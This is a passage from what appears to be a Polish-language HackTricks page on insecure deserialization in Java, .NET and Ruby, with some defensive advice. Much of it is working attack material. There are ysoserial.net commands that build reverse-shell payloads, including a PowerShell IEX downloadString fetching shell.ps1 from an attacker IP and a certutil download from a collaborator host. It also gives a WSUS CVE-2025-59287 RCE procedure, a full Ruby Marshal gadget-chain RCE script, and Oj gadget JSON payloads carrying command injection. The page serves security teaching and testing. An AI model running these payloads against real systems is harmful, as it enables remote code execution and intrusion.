public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie blacklisting harmful classes, używając parametru JVM:
-javaagent:name-of-agent.jar
Zapewnia sposób na dynamiczne zabezpieczenie deserialization, idealne dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.
Sprawdź przykład w rO0 by Contrast Security
Implementing Serialization Filters: Java 9 wprowadziło serialization filters poprzez interfejs ObjectInputFilter, dostarczając potężny mechanizm do określania kryteriów, które serialized objects muszą spełniać przed deserialization. Filtry te można stosować globalnie lub per stream, zapewniając precyzyjną kontrolę nad procesem deserialization.
Aby użyć serialization filters, możesz ustawić global filter obejmujący wszystkie deserialization operations lub skonfigurować go dynamicznie dla konkretnych streams. Na przykład:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Wykorzystanie zewnętrznych bibliotek dla zwiększenia bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje kontroli i monitorowania Java deserialization. Te biblioteki mogą dostarczyć dodatkowe warstwy bezpieczeństwa, takie jak whitelisting lub blacklisting klas, analizowanie serialized objects przed deserialization oraz implementowanie niestandardowych strategii serialization.
- NotSoSerial przechwytuje procesy deserialization, aby zapobiegać wykonaniu niezaufanego kodu.
- jdeserialize pozwala na analizę serialized Java objects bez ich deserialization, pomagając zidentyfikować potencjalnie złośliwe treści.
- Kryo to alternatywny framework serialization, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serialization, które mogą wzmocnić bezpieczeństwo.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Znajdź, czym jest JNDI Injection, jak go nadużyć za pomocą RMI, CORBA & LDAP i jak exploitować log4shell (oraz przykład tej vuln) na następującej stronie:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
Istnieje kilka produktów używających tego middleware do wysyłania wiadomości:
.png)
.png)
Exploitation
Zasadniczo istnieje wiele usług używających JMS w niebezpieczny sposób. Dlatego, jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj potrzebne będą prawidłowe poświadczenia), możesz być w stanie wysłać malicious objects serialized, które zostaną deserialized przez consumer/subscriber.
Oznacza to, że w takim ataku wszyscy klienci, którzy będą korzystać z tej wiadomości, zostaną zainfekowani.
Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), wciąż musisz znaleźć prawidłowe gadgets, aby wykorzystać tę podatność.
Narzędzie JMET zostało stworzone, aby połączyć się i zaatakować te usługi, wysyłając różne malicious objects serialized przy użyciu znanych gadgets. Te exploity zadziałają, jeśli usługa nadal jest podatna i jeśli którykolwiek z użytych gadgets znajduje się w podatnej aplikacji.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
W kontekście .Net, deserialization exploits działają podobnie do tych znalezionych w Java, gdzie gadgets są wykorzystywane do uruchomienia konkretnego kodu podczas deserialization obiektu.
Fingerprint
WhiteBox
Kod źródłowy powinien być sprawdzony pod kątem wystąpień:
TypeNameHandlingJavaScriptTypeResolver
Należy skupić się na serializers, które pozwalają, aby typ był określany przez zmienną kontrolowaną przez użytkownika.
BlackBox
Wyszukiwanie powinno celować w Base64 zakodowany ciąg AAEAAAD///// lub dowolny podobny wzorzec, który może zostać poddany deserialization po stronie serwera, dając kontrolę nad typem do zdeserializowania. Może to obejmować, ale nie ogranicza się do, JSON lub XML struktur zawierających TypeObject lub $type.
ysoserial.net
W tym przypadku możesz użyć narzędzia ysoserial.net, aby stworać deserialization exploits. Po pobraniu repozytorium git powinieneś skompilować narzędzie używając na przykład Visual Studio.
Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploity, możesz sprawdzić tę stronę, gdzie wyjaśniono ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Główne opcje ysoserial.net to: --gadget, --formatter, --output i --plugin.
--gadgetsłuży do wskazania gadgetu, który ma być wykorzystany (wskazanie klasy/funkcji, która zostanie abused podczas deserialization, aby wykonać polecenia).--formatter, używane do wskazania metody serializacji exploita (musisz wiedzieć, której biblioteki używa back-end do deserialization i użyć tej samej do serializacji).--outputsłuży do wskazania, czy chcesz exploit w formie raw czy base64 encoded. Uwaga: ysoserial.net będzie kodować payload używając UTF-16LE (kodowanie domyślne w Windows), więc jeśli otrzymasz raw i po prostu zakodujesz go z konsoli linux może wystąpić kilka encoding compatibility problems, które uniemożliwią poprawne działanie exploita (w HTB JSON box payload zadziałał zarówno w UTF-16LE jak i ASCII, ale to nie znaczy, że zawsze będzie działać).--pluginysoserial.net wspiera pluginy do tworzenia exploits dla specific frameworks takich jak ViewState
More ysoserial.net parameters
--minifyzapewni mniejszy payload (jeśli to możliwe)--raf -f Json.Net -c "anything"To wskaże wszystkie gadgets, które mogą być użyte z podanym formatterem (Json.Netw tym przypadku)--sf xmlmożesz wskazać gadget (-g) i ysoserial.net będzie szukać formatterów zawierających “xml” (case insensitive)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ma także bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test
Jeśli podasz ten parametr, ysoserial.net spróbuje exploit lokalnie, dzięki czemu możesz sprawdzić, czy twój payload zadziała poprawnie.
Ten parametr jest pomocny, ponieważ przeglądając kod znajdziesz fragmenty kodu takie jak poniższy (z ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Oznacza to, że aby przetestować exploit, kod wywoła serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
W poprzednim kodzie previous code is vulnerable to the exploit created. Więc jeśli znajdziesz coś podobnego w aplikacji .Net, to prawdopodobnie ta aplikacja też jest podatna.
Dlatego parametr --test pozwala nam zrozumieć which chunks of code are vulnerable to the deserialization exploit that ysoserial.net can create.
ViewState
Zobacz this POST about how to try to exploit the __ViewState parameter of .Net to wykonać dowolny kod. Jeśli już znasz sekrety używane przez maszynę ofiary, read this post to know to execute code.
Przykład z prawdziwego świata — sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Dotknięte endpointy:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie(): AuthorizationCookie jest odszyfrowywane, a następnie deserializowane za pomocą BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch i powiązane operacje SOAP, które trafiają do sinków SoapFormatter; base64 gadget jest przetwarzany, gdy konsola WSUS przetwarza zdarzenie.- Przyczyna: bajty kontrolowane przez atakującego trafiają do przestarzałych formatów .NET (BinaryFormatter/SoapFormatter) bez ścisłych allow‑lists/binders, więc łańcuchy gadgetów wykonują się jako konto usługi WSUS (często SYSTEM).
Minimalne wykorzystanie (ścieżka Reporting):
- Wygeneruj .NET gadget za pomocą ysoserial.net (BinaryFormatter lub SoapFormatter) i wyeksportuj do base64, na przykład:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Utwórz SOAP dla
ReportEventBatch, osadzając base64 gadget i wyślij POST do/ReportingWebService.asmx. - Gdy administrator otworzy konsolę WSUS, zdarzenie zostanie zdeserializowane, a gadget się uruchomi (RCE jako SYSTEM).
AuthorizationCookie / GetCookie()
- Sfałszowany AuthorizationCookie może zostać zaakceptowany, odszyfrowany i przekazany do BinaryFormatter sink, umożliwiając pre‑auth RCE, jeśli jest osiągalny.
Parametry Public PoC (tecxx/CVE-2025-59287-WSUS):
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
Zapobieganie
Aby złagodzić ryzyka związane z deserializacją w .Net:
- Nie pozwalaj strumieniom danych określać typów obiektów. Używaj
DataContractSerializerlubXmlSerializer, gdy to możliwe. - Dla
JSON.Net, ustawTypeNameHandlingnaNone:TypeNameHandling = TypeNameHandling.None - Unikaj używania
JavaScriptSerializerzJavaScriptTypeResolver. - Ogranicz typy, które mogą być deserializowane, mając na uwadze ryzyka związane z typami .Net, takimi jak
System.IO.FileInfo, który może modyfikować właściwości plików na serwerze, potencjalnie prowadząc do ataków typu denial of service (DoS). - Uważaj na typy posiadające ryzykowne właściwości, np.
System.ComponentModel.DataAnnotations.ValidationExceptionz właściwościąValue, którą można wykorzystać. - Bezpiecznie kontroluj instancjonowanie typów, aby zapobiec możliwości wpływu atakującego na proces deserializacji, co uczyni nawet
DataContractSerializerlubXmlSerializerpodatnymi. - Zaimplementuj kontrolę białej listy używając niestandardowego
SerializationBinderdlaBinaryFormatteriJSON.Net. - Bądź na bieżąco ze znanymi niebezpiecznymi gadgetami deserializacji w .Net i upewnij się, że deserializery nie tworzą instancji takich typów.
- Izoluj potencjalnie ryzykowny kod od kodu mającego dostęp do internetu, aby nie narażać na źródła zewnętrzne znanych gadgetów, takich jak
System.Windows.Data.ObjectDataProviderw aplikacjach WPF.
Referencje
- Artykuł o deserializacji JSON w Java i .Net paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, prezentacja: https://www.youtube.com/watch?v=oUAeWhW5b8c i slajdy: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
W Ruby serializacja jest realizowana przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do zamiany obiektu na strumień bajtów — proces ten nazywa się serializacją. Z kolei druga metoda, load, służy do odtworzenia obiektu ze strumienia bajtów — proces nazywany deserializacją.
Aby zabezpieczyć serializowane obiekty, Ruby stosuje HMAC (Hash-Based Message Authentication Code), zapewniające integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z następujących miejsc:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (więcej informacji w https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
As explained in this vulnerability report, if some user unsanitized input reaches the .send() method of a ruby object, this method allows to invoke any other method of the object with any parameters.
For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Co więcej, jeśli tylko jeden parametr .send() jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która nie wymaga argumentów lub której argumenty mają wartości domyślne.
W tym celu można wyenumerować wszystkie metody obiektu, aby znaleźć kilka interesujących metod, które spełniają te wymagania.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Sprawdź, jak możliwe jest pollute a Ruby class and abuse it in here.
Ruby _json pollution
Jeśli w body zostaną przesłane wartości, które nie są hashable, np. tablica, zostaną one dodane pod nowym kluczem o nazwie _json. Jednak atakujący może też ustawić w body wartość o nazwie _json z dowolnymi danymi, jakie zechce. Jeśli backend np. sprawdza prawdziwość jakiegoś parametru, ale następnie używa parametru _json do wykonania akcji, może dojść do ominięcia autoryzacji.
Więcej informacji znajdziesz na Ruby _json pollution page.
Inne biblioteki
Ta technika została zaczerpnięta z tego wpisu na blogu.
Istnieją inne biblioteki Ruby, które mogą być użyte do serializowania obiektów i które mogą zostać wykorzystane do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, która jest wywoływana w klasie podczas deserializacji (funkcja, którą można wykorzystać do uzyskania RCE):
| Biblioteka | Dane wejściowe | Metoda uruchamiana w klasie |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([zobacz notatki dotyczące json_create na końcu](#table-vulnerable-sinks)) |
Podstawowy przykład:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
W przypadku próby nadużycia Oj udało się znaleźć gadget class, która wewnątrz swojej funkcji hash wywołuje to_s, które z kolei wywołuje spec, które z kolei wywołuje fetch_path — co pozwoliło zmusić ją do pobrania losowego URL-a, stanowiąc doskonały wykrywacz tego typu unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Co więcej, stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony jest także folder, co jest wymagane do wykorzystania innego gadgetu, aby przekształcić to w pełne RCE za pomocą czegoś takiego:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
Funkcja przesyłania plików w aplikacji Rails pozwala atakującemu na dowolne zapisywanie plików. Chociaż aplikacja działa z ograniczeniami (tylko niektóre katalogi, np. tmp, są zapisywalne z powodu użytkownika non-root w Dockerze), nadal pozwala to na zapis do katalogu cache Bootsnap (zwykle pod tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap przyspiesza uruchamianie Rails przez cache’owanie skompilowanego kodu Ruby oraz plików YAML i JSON. Przechowuje pliki cache, które zawierają nagłówek cache key (z polami takimi jak Ruby version, file size, mtime, compile options itd.), a następnie skompilowany kod. Ten nagłówek jest używany do walidacji cache podczas startu aplikacji.
- Gather File Metadata
Atakujący najpierw wybiera docelowy plik, który prawdopodobnie jest ładowany podczas startu Rails (na przykład set.rb z biblioteki standardowej Ruby). Wykonując kod Ruby wewnątrz kontenera, wyodrębnia krytyczne metadane (takie jak RUBY_VERSION, RUBY_REVISION, size, mtime oraz compile_option). Te dane są niezbędne do stworzenia poprawnego cache key.
- Compute the Cache File Path
Replikując mechanizm haszowania FNV-1a 64-bit używany przez Bootsnap, określa się poprawną ścieżkę pliku cache. Ten krok zapewnia, że złośliwy plik cache zostanie umieszczony dokładnie tam, gdzie Bootsnap się go spodziewa (np. pod tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Atakujący przygotowuje payload, który:
- Executes arbitrary commands (for example, running id to show process info).
- Removes the malicious cache after execution to prevent recursive exploitation.
- Loads the original file (e.g., set.rb) to avoid crashing the application.
Ten payload jest kompilowany do binarnego kodu Ruby i łączony z starannie skonstruowanym nagłówkiem cache key (z wykorzystaniem wcześniej zebranych metadanych oraz odpowiedniego numeru wersji Bootsnap).
- Overwrite and Trigger Execution
Wykorzystując arbitrary file write vulnerability, atakujący zapisuje przygotowany plik cache w obliczonej lokalizacji. Następnie wywołuje restart serwera (poprzez zapis do tmp/restart.txt, który jest monitorowany przez Puma). Podczas restartu, gdy Rails wymaga załadowania docelowego pliku, złośliwy plik cache jest wczytywany, co skutkuje remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Typowe gadget classes spotykane w rzeczywistych chains:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Typowy side-effect marker osadzony w payloads (wykonywany podczas unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Gdzie pojawia się w rzeczywistych aplikacjach:
- Mechanizmy cache Rails i magazyny sesji, które historycznie wykorzystywały Marshal
- Backendy zadań w tle oraz obiektowe magazyny oparte na plikach
- Wszelkie niestandardowe mechanizmy trwałego przechowywania lub transportu binarnych blobów obiektów
Zindustrializowane wykrywanie gadgetów:
- Grepuj pod kątem konstruktorów,
hash,_load,init_withlub metod powodujących efekty uboczne wywoływanych podczas unmarshal - Użyj CodeQL’s Ruby unsafe deserialization queries, aby prześledzić sources → sinks i ujawnić gadgety
- Weryfikuj za pomocą publicznych multi-format PoCs (JSON/XML/YAML/Marshal)
Źródła
- Trail of Bits – Marshal madness: Krótka historia Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


